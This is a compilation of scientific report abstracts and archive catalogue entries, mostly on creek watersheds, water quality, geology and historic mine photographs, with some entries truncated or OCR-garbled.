In the Rocky Mountains of Colorado, major highways are often constructed in stream valleys. In the event of a vehicular accident involving hazardous materials, the close proximity of highways to the streams increases the risk of contamination entering the streams. Recent population growth has contributed to increased traffic volume along Colorado highways and has resulted in increased movement of hazardous materials, particularly along Interstate 70. Gore Creek and its major tributary, Black Gore Creek, are vulnerable to such contamination from vehicular accidents along Interstate 70. Gore Creek, major tributary of the Eagle River, drains approximately 102 square miles, some of which has recently undergone significant urban development. The headwaters of Gore Creek originate in the Gore Range in the eastern part of the Gore Creek watershed. Gore Creek flows west to the Eagle River. Beginning at the watershed boundary on Vail Pass, southeast of Vail Ski Resort, Interstate 70 parallels Black Gore Creek and then closely follows Gore Creek the entire length of the watershed. Interstate 70 crosses Gore Creek and tributaries 20 times in the watershed. In the event of a vehicular accident involving a contaminant spill into Gore Creek or Black Gore Creek, a stepwise procedure has been developed for water-resource managers to estimate traveltimes of the leading edge and peak concentration of a conservative contaminant. An example calculating estimated traveltimes for a hypothetical contaminant release in Black Gore Creek is provided. Traveltime measurements were made during May and September along Black Gore Creek and Gore Creek from just downstream from the Black Lakes to the confluence with the Eagle River to account for seasonal variability in stream discharge. Fluorometric dye injection of rhodamine WT and downstream dye detection by fluorometry were used to measure traveltime characteristics of Gore Creek and Black Gore Creek. During the May traveltime measurements, discharges ranged from 82 cubic feet per second (ft3/s) at Black Gore Creek near Minturn (U.S. Geological Survey station number 09066000) to 724 ft3/s at Gore Creek at mouth near Minturn (U.S. Geological Survey station number 09066510), whereas during the September traveltime measurements, discharges ranged from 3.6 ft3/s at Black Gore Creek near Minturn to 62 ft3/s at Gore Creek at mouth near Minturn. Cumulative traveltimes for the peak dye concentration during the May traveltime measurements ranged from 3.45 hours (site 1 to site 3) in Black Gore Creek to 2.50 hours (site 8 to site 12) in Gore Creek, whereas cumulative traveltimes for the peak dye concentration during the September traveltime measurements ranged from 15.33 hours (site 1 to site 3) in Black Gore Creek to 8.65 hours (site 8 to site 12) in Gore Creek. During the September dye injections, beaver dams on Black Gore Creek, between site 1 and the confluence with Gore Creek, substantially delayed movement of the rhodamine WT. Estimated traveltimes were developed using relations established from linear-regression methods of relating measured peak traveltime to discharge during those measurements, which were obtained at Black Gore Creek near Minturn and Gore Creek at mouth near Minturn. Resulting estimated peak traveltimes for Black Gore Creek (sites 1 to 5) ranged from 5.4 to 0.4 hour for 20 to 200 ft3/s and for Gore Creek (sites 5 to 12), 5.5 to 0.3 hour for 20 to 800 ft3/s. Longitudinal-dispersion coefficients that were calculated for selected stream reaches ranged from 17.2 square feet per second at 4 ft3/s between sites 2 and 3 to 650 square feet per second at 144 ft3/s between sites 7 and 8. Longitudinal-dispersion coefficients are necessary variables for future stream-contaminant modeling in the Gore Creek watershed.

Mineralogy and diagenesis of low-permeability sandstones of Late Cretaceous age, Piceance Creek Basin, northwestern Colorado

USGS Publications Warehouse

Hansley, Paula L.; Johnson, Ronald C.

1980-01-01

This report presents preliminary results of a mineralogic and diagenetic study of some low-permeability sandstones from measured surface sections and cores obtained from drill holes in the Piceance Creek Basin of northwestern Colorado. A documentation of the mineralogy and diagenetic history will aid in the exploration for natural gas and in the development of recovery technology in these low-permability sandstones. These sandstones are in the nonmarine upper part of the Mesaverde Formation (or Group) of Late Cretaceous age and are separated from overlying lower Tertiary rocks by a major regional unconformity. Attention is focused on the sandstone units of the Ohio Creek Member, which directly underlies the unconformity; however, comparisons between the mineralogy of the Ohio Creek strata and that of the underlying sandstone units are made whenever possible. The Ohio Creek is a member of the Hunter Canyon Formation (Mesaverde Group) in the southwestern part of the basin, and the Mesaverde Formation in the southern and central parts of the basin. The detrital mineralogy is fairly constant throughout all of these nonrnarine Cretaceous sandstone units; however, in the southeastern part of the basin, there is an increase in percentage of feldspar, quartzite, and igneous rock fragments in sandstones of the Ohio Creek Member directly underlying the unconformity. In the southwestern part of the basin, sandstones of the Ohio Creek Member are very weathered and are almost-entirely comprised of quartz, chert, and kaolinite. A complex diagenetic history, partly related to the overlying unconformity, appears to be responsible for transforming these sandstones into potential gas reservoirs. The general diagenetic sequence for the entire Upper Cretaceous interval studied is interpreted to be (early to late): early(?) calcite cement, chlorite, quartz overgrowths, calcite cement, secondary porosity, analcime (surface only), kaolinite and illite, and late carbonate cements. Authigenic high-iron chlorite, which occurs on grain rims and in pore throats, is primarily responsible for the low-permeability of the subsurface sandstones of the Ohio Creek Member in the center of the basin. Kaolinite is the most abundant pore-filling authigenic clay in these sandstones, from the southwestern part of the basin and is responsible for their distinctive white-weathering color in outcrop. In the sandstones below the Ohio Creek Member, however, chlorite and kaolinite occur locally, and authigenic calcite and illite are more abundant. The occurrence and distribution of secondary porosity is one of the most important aspects of the diagenetic history of these sandstones. It is present as moldic intra- and intergranular porosity, as well as microporosity among authigenic clay pariicles. Although present locally in most sandstone units, secondary porosity is particularly common in the uppermost sandstone units and is interpreted to have formed primarily asa result ofweathering during the time represented by the Cretaceous-Tertiary unconformity.

Second report on the Oak Ridge Y-12 Plant fish kill for Upper East Fork Poplar Creek

DOE Office of Scientific and Technical Information (OSTI.GOV)

Etnier, E.L.; Opresko, D.M.; Talmage, S.S.

1994-08-01

This report summarizes the monitoring of fish kills in upper East Fork Poplar Creek (EFPC) from July 1990 to June 1993. Since the opening of Lake Reality (LR) in 1988, total numbers of fish inhabiting upper EFPC have increased. However, species diversity has remained poor. Water quality data have been collected in upper EFPC during the time period covered in this report. Total residual chlorine (TRC) levels have exceeded federal and state water quality criteria over the years. However, with the installation of two dechlorination systems in late 1992, TRC levels have been substantially lowered in most portions of uppermore » EFPC. By June 1993, concentrations of TRC were 0.04 to 0.06 mg/L at the north-south pipes (NSP) and below detection limits at sampling station AS-8 and were 0 to 0.01 mg/L at the inlet and outlet of LR. The daily chronic fish mortality in upper EFPC has been attributed to background stress resulting from the continuous discharge of chlorine into upper EFPC. Mean daily mortality rates for 22 acute fish kills were three fold or more above background and usually exceeded ten fish per day. Total number of dead fish collected per acute kill event ranged from 30 to over 1,000 fish; predominant species killed were central stonerollers (Campostoma anomalum) and striped shiners (Luxilus chrysocephalus). Spills or elevated releases of toxic chemicals, such as acids, organophosphates, aluminum nitrate, ammonia, or chlorine, were identified as possible causative agents; however, a definitive cause-effect relationship was rarely established for any acute kills. Ambient toxicity testing, in situ chemical monitoring, and streamside experiments were used to examine TRC dynamics and ambient toxicity in EFPC.« less

Politicians, Patriots and Plotters: Unlikely Debates Occasioned by Maximilian Hell's Venus Transit Expedition of 1769

NASA Astrophysics Data System (ADS)

Kontler, Laszlo

2013-05-01

This paper discusses the cultural and political contexts and reception of the most important by-product of Maximilian Hell's famous Venus transit expedition of 1768-69, the Demonstratio. Idioma Ungarorum et Lapponum idem esse (1770) by Hell's associate Janos Sajnovics. Now considered a landmark in Finno-Ugrian linguistics, the Demonstratio addressed an academic subject that was at that time almost destined to be caught up in an ideological battlefield defined by the shifting relationship between the Habsburg government, the Society of Jesus, and the Hungarian nobility. The "enlightened absolutist" policies of the former aimed at consolidating the Habsburg monarchy as an empire, at the expense of privileged groups, including religious orders as well as the noble estates. In the situation created by the 1773 suppression of the Jesuit order (a signal of declining patronage from the dynasty), the growing preoccupation on the part of ex-Jesuits like Hell and Sajnovics with "things Hungarian" could have been part of an attempt to re-situate themselves on the Central European map of learning. At the same time, the founding document of this interest, the Demonstratio, evoked violent protests from the other target of Habsburg policies, the Hungarian nobility, because its basic assumptions - the kinship of the Hungarian and the Sami (Lappian) language - potentially undermined the noble ideology of social exclusiveness, established on the alleged "Scythian" ancestry of Hungarians. By exploring the complex motives, intentions, reactions and responses of the chief agents in this story, it is possible to highlight the extra-scientific constraints and facilitators for the practice of knowledge in late eighteenth century Central Europe.

Evaluation of Metal Toxicity in Streams Affected by Abandoned Mine Lands, Upper Animas River Watershed, Colorado

USGS Publications Warehouse

Besser, John M.; Allert, Ann L.; Hardesty, Douglas K.; Ingersoll, Christopher G.; May, Thomas W.; Wang, Ning; Leib, Kenneth J.

2001-01-01

Acid drainage from abandoned mines and from naturally-acidic rocks and soil in the upper Animas River watershed of Colorado generates elevated concentrations of acidity and dissolved metals in stream waters and deposition of metal-contaminated particulates in streambed sediments, resulting in both toxicity and habitat degradation for stream biota. High concentrations of iron (Fe), aluminum (Al), zinc (Zn), copper (Cu), cadmium (Cd), and lead (Pb) occur in acid streams draining headwaters of the upper Animas River watershed, and high concentrations of some metals, especially Zn, persist in circumneutral reaches of the Animas River and Mineral Creek, downstream of mixing zones of acid tributaries. Seasonal variation of metal concentrations is reflected in variation in toxicity of stream water. Loadings of dissolved metals to the upper Animas River and tributaries are greatest during summer, during periods of high stream discharge from snowmelt and monsoonal rains, but adverse effects on stream biota may be greater during winter low-flow periods, when stream flows are dominated by inputs of groundwater and contain greatest concentrations of dissolved metals. Fine stream-bed sediments of the upper Animas River watershed also contain elevated concentrations of potentially toxic metals. Greatest sediment metal concentrations occur in the Animas River upstream from Silverton, where there are extensive deposits of mine and mill tailings, and in mixing zones in the Animas River and lower Mineral Creek, where precipitates of Fe and Al oxides also contain high concentrations of other metals. This report summarizes the findings of a series of toxicity studies in streams of the upper Animas River watershed, conducted on-site and in the laboratory between 1998 and 2000. The objectives of these studies were: (1) to determine the relative toxicity of stream water and fine stream-bed sediments to fish and invertebrates; (2) to determine the seasonal range of toxicity in stream water; (3) to develop site-specific thresholds for toxicity of Zn and Cu in stream water; and (4) to develop models of the contributions of Cu and Zn to toxicity of stream water, which may be used to characterize toxicity before and after planned remediation efforts. We evaluated the toxicity of metal-contaminated sediments by conducting sediment toxicity tests with two species of benthic invertebrates, the midge, Chironomus tentans. and the amphipod, Hyalella azteca. Laboratory toxicity tests with both taxa, exposed to fine stream-bed sediments collected in September 1997, showed some evidence of sediment toxicity, as survival of midge larvae in sediments from Cement Creek (C48) and lower Mineral Creek (M34), and growth of amphipods in sediments from these sites and three Animas River sites (A68, Animas at Silverton; A72, Animas below Silverton, and A73, Animas at Elk Park) were significantly reduced compared to a reference site, South Mineral Creek (SMC) . Amphipods were also exposed to site water and fine stream-bed sediment, separately and in combination, during the late summer low flow period (August-September) of 1998. In these studies, stream water, with no sediment present, from all five sites tested (same sites as above, except C48) caused 90% to 100% mortality of amphipods. In contrast, significant reductions in survival of amphipods occurred at two sites (A72 and SMC) in exposures with field-collected sediment plus stream water, and at only one site (A72) in exposures with sediments and clean overlying water. Concentrations of Zn, Pb, Cu, and Cd were high in both sediment and pore water (interstitial water) from most sites tested, but greatest sediment toxicity was apparently associated with greater concentrations of Fe and/or Al in sediments. These results suggest that fine stream-bed sediments of the more contaminated stream reaches of the upper Animas River watershed are toxic to benthic invertebrates, but that these impacts are less serious than tox

Transient calibration of a groundwater-flow model of Chimacum Creek Basin and vicinity, Jefferson County, Washington: a supplement to Scientific Investigations Report 2013-5160

USGS Publications Warehouse

Jones, Joseph L.; Johnson, Kenneth H.

2013-01-01

A steady-state groundwater-flow model described in Scientific Investigations Report 2013-5160, ”Numerical Simulation of the Groundwater-Flow System in Chimacum Creek Basin and Vicinity, Jefferson County, Washington” was developed to evaluate potential future impacts of growth and of water-management strategies on water resources in the Chimacum Creek Basin. This supplement to that report describes the unsuccessful attempt to perform a calibration to transient conditions on the model. The modeled area is about 64 square miles on the Olympic Peninsula in northeastern Jefferson County, Washington. The geologic setting for the model area is that of unconsolidated deposits of glacial and interglacial origin typical of the Puget Sound Lowlands. The hydrogeologic units representing aquifers are Upper Aquifer (UA, roughly corresponding to recessional outwash) and Lower Aquifer (LA, roughly corresponding to advance outwash). Recharge from precipitation is the dominant source of water to the aquifer system; discharge is primarily to marine waters below sea level and to Chimacum Creek and its tributaries. The model is comprised of a grid of 245 columns and 313 rows; cells are a uniform 200 feet per side. There are six model layers, each representing one hydrogeologic unit: (1) Upper Confining unit (UC); (2) Upper Aquifer unit (UA); (3) Middle Confining unit (MC); (4) Lower Aquifer unit (LA); (5) Lower Confining unit (LC); and (6) Bedrock unit (OE). The transient simulation period (October 1994–September 2009) was divided into 180 monthly stress periods to represent temporal variations in recharge, discharge, and storage. An attempt to calibrate the model to transient conditions was unsuccessful due to instabilities stemming from oscillations in groundwater discharge to and recharge from streamflow in Chimacum Creek. The model as calibrated to transient conditions has mean residuals and standard errors of 0.06 ft ±0.45 feet for groundwater levels and 0.48 ± 0.06 cubic feet per second for flows. Although the expected seasonal trends were observed in model results, the typical observed annual variation of groundwater levels of about 2 feet was not. Streamflow at the most downstream observation point was about three times larger than simulated streamflow. Because the transient version of the model proved inherently unstable, it was not used to simulate forecast conditions for alternate hydrologic or anthropogenic changes. Adaptation of alternate stream simulation packages, such as RIV, or newer versions of MODFLOW, such as MODFLOW-NWT, could possibly assist with achieving calibration to transient conditions.

Growth response and sapwood hydraulic properties of young lodgepole pine following repeated fertilization.

PubMed

Amponsah, Isaac G; Lieffers, Victor J; Comeau, Philip G; Brockley, Robert P

2004-10-01

We examined how tree growth and hydraulic properties of branches and boles are influenced by periodic (about 6 years) and annual fertilization in two juvenile lodgepole pine (Pinus contorta Dougl. var. latifolia Engelm.) stands in the interior of British Columbia, Canada. Mean basal area (BA), diameter at breast height (DBH) and height increments and percent earlywood and sapwood hydraulic parameters of branches and boles were measured 7 or 8 years after the initial treatments at Sheridan Creek and Kenneth Creek. At Sheridan Creek, fertilization significantly increased BA and DBH increments, but had no effect on height increment. At Kenneth Creek, fertilization increased BA, but fertilized trees had significantly lower height increments than control trees. Sapwood permeability was greater in lower branches of repeatedly fertilized trees than in those of control trees. Sapwood permeabilities of the lower branches of trees in the control, periodic and annual treatments were 0.24 x 10(-12), 0.35 x 10(-12) and 0.45 x 10(-12) m2 at Kenneth Creek; and 0.41 x 10(-12), 0.54 x 10(-12) and 0.65 x 10(-12) m2 at Sheridan Creek, respectively. Annual fertilization tended to increase leaf specific conductivities and Huber values of the lower branches of trees at both study sites. We conclude that, in trees fertilized annually, the higher flow capacity of lower branches may reduce the availability of water to support annual growth of the leader and upper branches.

Remedial Investigation/Feasibility Study, Operable Unit 5, Elmendorf AFB, Anchorage, Alaska. Volume 1. Text

DTIC Science & Technology

1994-03-04

4.7a Organic Con mnats Detected in Upper Aquifer Groundwater .......... 4-46 4.7b Organic Contaminants Detected in Upper Aquifer Groundwater...OU 5 con ~tamiats and impacts on Ship Creek; "* Deftrmine fth fluenc of uppadient contminant sources on fth OU 5 "* Collect suifficient data to detemin...Post Rood, mnorh of the gdof course pro shop, and flowed into a drainage ditch parallel to Post Road. 0 All six source areas have undergone previous inv

Hybridization threatens shoal bass populations in the Upper Chattahoochee River Basin: Chapter 37

USGS Publications Warehouse

Dakin, Elizabeth E; Porter, Brady A.; Freeman, Byron J.; Long, James M.; Tringali, Michael D.; Long, James M.; Birdsong, Timothy W.; Allen, Micheal S.

2015-01-01

Shoal bass are native only to the Apalachicola-Chattahoochee-Flint river system of Georgia, Alabama, and Florida, and are vulnerable to extinction as a result of population fragmentation and introduction of non-native species. We assessed the genetic integrity of isolated populations of shoal bass in the upper Chattahoochee River basin (above Lake Lanier, Big Creek, and below Morgan Falls Dam) and sought to identify rates of hybridization with non-native, illegally stocked smallmouth bass and spotted bass.

24. VIEW OF MILL FROM UPPER TAILINGS POND (NORTH). ROASTER ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

24. VIEW OF MILL FROM UPPER TAILINGS POND (NORTH). ROASTER ON LEFT WITH ELEVATOR/CRUSHED ORE BIN TOWER TO RIGHT. MAIN MILL BUILDING IN CENTER WITH THICKENER ADDITION TO RIGHT. MACHINE SHOP ON CRUDE ORE BIN TERRACE ABOVE ROASTER. THE LOCATION OF THE 100,000 GALLON MILL WATER TANK CAN BE SEEN AT THE CENTER RIGHT NEAR THE TOP OF THE MOUNTAIN. - Bald Mountain Gold Mill, Nevada Gulch at head of False Bottom Creek, Lead, Lawrence County, SD

165. VIEW OF MILL FROM UPPER TAILINGS POND (NORTH). ROASTER ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

165. VIEW OF MILL FROM UPPER TAILINGS POND (NORTH). ROASTER ON LEFT WITH ELEVATOR/CRUSHED ORE BIN TOWER TO RIGHT. MAIN MILL BUILDING IN CENTER WITH THICKENER ADDITION TO RIGHT. MACHINE SHOP ON CRUDE ORE BIN TERRACE ABOVE ROASTER. THE LOCATION OF THE 100,000 GALLON MILL WATER TANK CAN BE SEEN AT THE CENTER RIGHT NEAR THE TOP OF THE MOUNTAIN - Bald Mountain Gold Mill, Nevada Gulch at head of False Bottom Creek, Lead, Lawrence County, SD

Geologic Map of the Upper Wolf Island Creek Watershed, Reidsville Area, Rockingham County, North Carolina

USGS Publications Warehouse

Horton, J. Wright; Geddes, Donald J.

2006-01-01

This geologic map provides a foundation for hydrogeologic investigations in the Reidsville area of Rockingham County, north-central North Carolina. The 16-mi2 area within the Southeast Eden and Reidsville 7.5-min quadrangles includes the watershed of Wolf Island Creek and its tributary, Carroll Creek, upstream of their confluence. Layered metamorphic rocks in this area of the Milton terrane, here informally named the Chinqua-Penn metamorphic suite, include a heterogeneous mica gneiss and schist unit that contains interlayers and lenses of white-mica schist, felsic gneiss, amphibolite, and ultramafic rock; a felsic gneiss that contains interlayers of amphibolite, white-mica schist, and minor ultramafic lenses; and a migmatitic biotite gneiss. Crushed stone is produced from an active quarry in the felsic gneiss. Igneous intrusive rocks include a mafic-ultramafic assemblage that may have originated as mafic intrusive bodies containing ultramafic cumulates, a foliated two-mica granite informally named the granite of Reidsville, and unmetamorphosed Jurassic diabase dikes. The newly recognized Carroll Creek shear zone strikes roughly east-west and separates heterogeneous mica gneiss and schist to the north from structurally overlying felsic gneiss to the south. Regional amphibolite-facies metamorphism accompanied polyphase ductile deformation in the metamorphic rocks. Two phases of isoclinal to tight folding and related penetrative deformation, described as D1 and D2, were followed by phases of high-strain mylonitic deformation in shear zones and late gentle to open folding. Later brittle deformation produced minor faults, steep joints, foliation-parallel parting, and sheeting joints. The metamorphic and igneous rocks are mantled by saprolite and residual soil derived from weathering of the underlying bedrock, and unconsolidated Quaternary alluvium occupies the flood plains of Wolf Island Creek and its tributaries. The geologic map delineates lithologic and structural features that may act as barriers or conduits for ground-water flow. It provides a hydrogeologic framework for the upper Wolf Island Creek drainage basin, including coreholes and ground-water monitoring wells along two transects. Collaborative hydrogeologic investigations by the North Carolina Department of Environment and Natural Resources and the U.S. Geological Survey are in progress to increase understanding of the influence of geological features on ground-water quality, availability, and transport in an area representative of large areas in the west-central Piedmont.

Decks of Trestle #2 (foreground) and Trestle #1. Note Adams ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

Decks of Trestle #2 (foreground) and Trestle #1. Note Adams Ranch and Thiokol (upper right). View to northeast - Promontory Route Railroad Trestles, S.P. Trestle 779.91, One mile southwest of junction of State Highway 83 and Blue Creek, Corinne, Box Elder County, UT

Water and Streambed-Sediment Quality in the Upper Elk River Basin, Missouri and Arkansas, 2004-06

USGS Publications Warehouse

Smith, Brenda J.; Richards, Joseph M.; Schumacher, John G.

2007-01-01

The U.S. Geological Survey, in cooperation with the Missouri Department of Natural Resources, collected water and streambedsediment samples in the Upper Elk River Basin in southwestern Missouri and northwestern Arkansas from October 2004 through December 2006. The samples were collected to determine the stream-water quality and streambed-sediment quality. In 1998, the Missouri Department of Natural Resources included a 21.5-mile river reach of the Elk River on the 303(d) list of impaired waters in Missouri as required by Section 303(d) of the Federal Clean Water Act. The Elk River is on the 303(d) list for excess nutrient loading. The total phosphorus distribution by decade indicates that the concentrations since 2000 have increased significantly from those in the 1960s, 1980s, and 1990s. The nitrate as nitrogen (nitrate) concentrations also have increased significantly in post-1985 from pre-1985 samples collected at the Elk River near Tiff City. Concentrations have increased significantly since the 1960s. Concentrations in the 1970s and 1980s, though similar, have increased from those in the 1960s, and the concentrations from the 1990s and 2000s increased still more. Nitrate concentrations significantly increased in samples that were collected during large discharges (greater than 355 cubic feet per second) from the Elk River near Tiff City. Nitrate concentrations were largest in Indian Creek. Several sources of nitrate are present in the basin, including poultry facilities in the upper part of the basin, effluent inflow from communities of Anderson and Lanagan, land-applied animal waste, chemical fertilizer, and possible leaking septic systems. Total phosphorus concentrations were largest in Little Sugar Creek. The median concentration of total phosphorus from samples from Little Sugar Creek near Pineville was almost four times the median concentration in samples from the Elk River near Tiff City. Median concentrations of nutrient species were greater in the stormwater samples than the median concentrations in the ambient samples. Nitrate concentrations in stormwater samples ranged from 133 to 179 percent of the concentration in the ambient samples. The total phosphorus concentrations in the stormwater samples ranged from about 200 to more than 600 percent of the concentration in the ambient samples. Base-flow conditions as reflected by the seepage run of the summer of 2006 indicate that 52 percent of the discharge at the Elk River near Tiff City is contributed by Indian Creek. Little Sugar Creek contributes 32 percent and Big Sugar Creek 9 percent of the discharge in the Elk River near Tiff City. Only about 7 percent of the discharge at Tiff City comes from the mainstem of the Elk River. Concentrations of dissolved ammonia plus organic nitrogen as nitrogen, dissolved ammonia as nitrogen, dissolved phosphorus, and dissolved orthophosphorus were detected in all streambed-sediment leachate samples. Concentrations of leachable nutrients in streambed-sediment samples generally tended to be slightly larger along the major forks of the Elk River as compared to tributary sites, with sites in the upper reaches of the major forks having among the largest concentrations. Concentrations of leachable nutrients in the major forks generally decreased with increasing distance downstream.

Old and Not-So-Old: Examining Changes in Forest Ecosystem Carbon Exchange With Stand Age in the Upper Midwest U.S.

NASA Astrophysics Data System (ADS)

Desai, A. R.; Cook, B.; Davis, K. J.; Bolstad, P.; Carey, E.; Martin, J.; Kreller, L.; Wang, W.

2003-12-01

Forest stand age is an important determinant of ecosystem carbon uptake. Though there are biometric measurements and ecological models for forests of all ages, there are few stand-scale eddy-flux measurements of net carbon exchange in older forests, though the number is increasing. In order to scale carbon fluxes from sites to regions, where stands of multiple ages may exist, it is necessary to measure to the effect of stand age on carbon exchange. Measuring the effect of stand age on carbon exchange is also necessary when trying to predict future or past carbon exchange (scaling across time). Many researchers have noted that site disturbance history is the fundamental factor in determining carbon uptake by forests over time scales of decades to centuries. The 8,500 ha Sylvania Wilderness in the upper peninsula of Michigan is one of several large tracts of old-growth forest in the Midwest. Trees range from 0-350 years old. Primary species are sugar maple, eastern hemlock and yellow birch. Catastrophic disturbance is rare. A research plot near the wilderness was established in late 2001 to measure the net ecosystem exchange (NEE) of carbon and water using eddy-flux, component flux and biometric methods. This site is part of the Chequamegon Ecosystem Atmosphere Study (ChEAS, http://cheas.psu.edu), a loose affiliation of researchers conducting carbon and water research in northern Wisconsin and upper Michigan. Another similar research plot within ChEAS and not far from Sylvania is the Willow Creek mature uplands site. This forest is about 70 years old and the primary species are sugar maple, basswood and green ash. The site had presettlement old-growth vegetation similar to what is currently seen in the Sylvania Wilderness. Thus, the carbon exchange seen at Sylvania may be representative of carbon uptake at Willow Creek had it not been logged in the early 20th century, and may also represent the future (or past) carbon uptake for similar forests in northern Wisconsin/upper Michigan. Initial results from 2002 show that both Sylvania and Willow Creek were sinks of carbon, though the annual NEE of carbon at Sylvania was only -72 gC/m2/yr, while it was -447 gC/m2/yr at Willow Creek. The lack of carbon balance at the old-growth site may be caused by growth enhancement due to carbon/nutrient fertilization, climate warming, or recent local-scale disturbances. A standard moving-window Arrenhius-style temperature-nighttime NEE relationship was used to separate total ecosystem respiration from gross ecosystem production (GEP). Total annual respiration was much greater at Sylvania (965 gC/m2/yr) than Willow Creek (667 gC/m2/yr), while GEP at Sylvania (1045 gC/m2/yr) was only slightly smaller than Willow Creek (1136 gC/m2/yr). The largest differences in respiration between the two sites occurred in early summer, whereas the largest difference in GEP occurred in late summer. The observed differences between the two sites matches well with theory. Ecosystem respiration is expected to increase steadily with stand age while gross ecosystem production is expected to increase rapidly as new species are established, but eventually level off. Current ongoing component flux measurements will help determine the mechanisms for the observed differences in carbon uptake at the two sites and provide insight on the causes of declining carbon exchange with stand age.

A footnote on the prehistory of interpretation of stellar colours

NASA Astrophysics Data System (ADS)

Brosche, P.

2001-10-01

Father Maximilian Hell S.J. (1720-92) was one of the first astronomers to formulate a theory of aurorae. This paper speculates on the possibility that Hell somehow could have associated his theory with the colours of stars, possibly by assuming that in some stellar atmospheres frozen particles are prevailing whereas in other stellar atmospheres water droplets dominate; the first would be more white-yellow, the others could show all colours of the rainbow. Our main point consists in the fact that somebody had seen and recorded colours of stars as an intrinsic phenomenon which called for an explanation.

Improvement of Anadromous Fish Habitat and Passage in Omak Creek, 2008 Annual Report : February 1, 2008 to January 31, 2009.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Dasher, Rhonda; Fisher, Christopher

2009-06-09

During the 2008 season, projects completed under BPA project 2000-100-00 included installation of riparian fencing, maintenance of existing riparian fencing, monitoring of at-risk culverts and installation of riparian vegetation along impacted sections of Omak Creek. Redd and snorkel surveys were conducted in Omak Creek to determine steelhead production. Canopy closure surveys were conducted to monitor riparian vegetation recovery after exclusion of cattle since 2000 from a study area commonly known as the Moomaw property. Additional redd and fry surveys were conducted above Mission Falls and in the lower portion of Stapaloop Creek to try and determine whether there has beenmore » successful passage at Mission Falls. Monitoring adult steelhead trying to navigate the falls resulted in the discovery of shallow pool depth at an upper pool that is preventing many fish from successfully navigating the entire falls. The Omak Creek Habitat and Passage Project has worked with NRCS to obtain additional funds to implement projects in 2009 that will address passage at Mission Falls, culvert replacement, as well as additional riparian planting. The Omak Creek Technical Advisory Group (TAG) is currently revising the Omak Creek Watershed Assessment. In addition, the group is revising strategy to focus efforts in targeted areas to provide a greater positive impact within the watershed. In 2008 the NRCS Riparian Technical Team was supposed to assess areas within the watershed that have unique problems and require special treatments to successfully resolve the issues involved. The technical team will be scheduled for 2009 to assist the TAG in developing strategies for these special areas.« less

Selenium Speciation in the Fountain Creek Watershed (Colorado, USA) Correlates with Water Hardness, Ca and Mg Levels.

PubMed

Carsella, James S; Sánchez-Lombardo, Irma; Bonetti, Sandra J; Crans, Debbie C

2017-04-30

The environmental levels of selenium (Se) are regulated and strictly enforced by the Environmental Protection Agency (EPA) because of the toxicity that Se can exert at high levels. However, speciation plays an important role in the overall toxicity of Se, and only when speciation analysis has been conducted will a detailed understanding of the system be possible. In the following, we carried out the speciation analysis of the creek waters in three of the main tributaries-Upper Fountain Creek, Monument Creek and Lower Fountain Creek-located in the Fountain Creek Watershed (Colorado, USA). There are statistically significant differences between the Se, Ca and Mg, levels in each of the tributaries and seasonal swings in Se, Ca and Mg levels have been observed. There are also statistically significant differences between the Se levels when grouped by Pierre Shale type. These factors are considered when determining the forms of Se present and analyzing their chemistry using the reported thermodynamic relationships considering Ca 2+ , Mg 2+ , SeO₄ 2- , SeO₃ 2- and carbonates. This analysis demonstrated that the correlation between Se and water hardness can be explained in terms of formation of soluble CaSeO₄. The speciation analysis demonstrated that for the Fountain Creek waters, the Ca 2+ ion may be mainly responsible for the observed correlation with the Se level. Considering that the Mg 2+ level is also correlating linearly with the Se levels it is important to recognize that without Mg 2+ the Ca 2+ would be significantly reduced. The major role of Mg 2+ is thus to raise the Ca 2+ levels despite the equilibria with carbonate and other anions that would otherwise decrease Ca 2+ levels.

5. OBLIQUE VIEW OF HOIST, SHOWING REDUCTION GEARS AND BED ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

5. OBLIQUE VIEW OF HOIST, SHOWING REDUCTION GEARS AND BED FOR (MISSING) CLUTCH/DRIVE GEAR UNIT, LOOKING EAST (McNALLY DRYER AND COVER SHOWN IN EXTREME UPPER RIGHT BACKGROUND) - Buffalo Coal Mine, Vulcan Cable Hoist, Wishbone Hill, Southeast end, near Moose Creek, Sutton, Matanuska-Susitna Borough, AK

Travel time analysis for a subsurface drained sub-watershed in Upper Big Walnut Creek Watershed, Ohio

USDA-ARS?s Scientific Manuscript database

Runoff travel time, which is a function of watershed and storm characteristics, is an important parameter affecting the prediction accuracy of hydrologic models. Although, time of concentration (tc) is a most widely used time parameter, it has multiple conceptual and computational definitions. Most ...

Environmental Quality of Upper Honey Creek: A Preliminary Assessment.

DTIC Science & Technology

1981-01-01

chironomid pupae and " Plecoptera ", which consisted of stoneflies that were too damaged for further identification. Adult and larval beetles were...11 bbei amie1 13 15 32 153 22 leopoda (mow bugs) Aselluet (forbeal) 12 3 oapoda (crayfish) ftocabue acutus acutug Plecoptera (stoneflies) 3 1 1

Impact of buffer type on streamside nutrient concentrations in Upper Big Walnut Creek, Ohio

USDA-ARS?s Scientific Manuscript database

The identification and assessment of conservation practices continues to be important for the protection of natural resources. Buffers, also referred to as filter strips, buffer strips, riparian buffers, or vegetative filters are one of the most common types of conservation practice installed in the...

Microcomputer Learning Project. Willow Creek School Division No. 28.

ERIC Educational Resources Information Center

Millar, Garnet; MacLeod, Alan

Comparative research was conducted using gifted and average upper elementary and junior high school students to determine the effectiveness of utilizing microcomputers for the development of computer literacy and the implementation of curriculum courseware. Eighty students were selected as the treatment group and received instruction in the…

DOE Office of Scientific and Technical Information (OSTI.GOV)

Chaubey, Indrajeet; Cibin, Raj; Bowling, Laura

The overall goal of this project was to conduct a watershed-scale sustainability assessment of multiple species of energy crops and removal of crop residues within two watersheds (Wildcat Creek, and St. Joseph River) representative of conditions in the Upper Midwest. The sustainability assessment included bioenergy feedstock production impacts on environmental quality, economic costs of production, and ecosystem services.

A TEN-YEAR WATER BALANCE OF A MOUNTAINOUS SEMI-ARID WATERSHED. (R824784)

EPA Science Inventory

Quantifying water balance components, which is particularly challenging in snow-fed, semi-arid regions, is crucial to understanding the basic hydrology of a watershed. In this study, a water balance was computed using 10 years of data collected at the Upper Sheep Creek Water...

49. VIEW FROM WEST OF DUST COLLECTOR BLOWER LOCATED AT ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

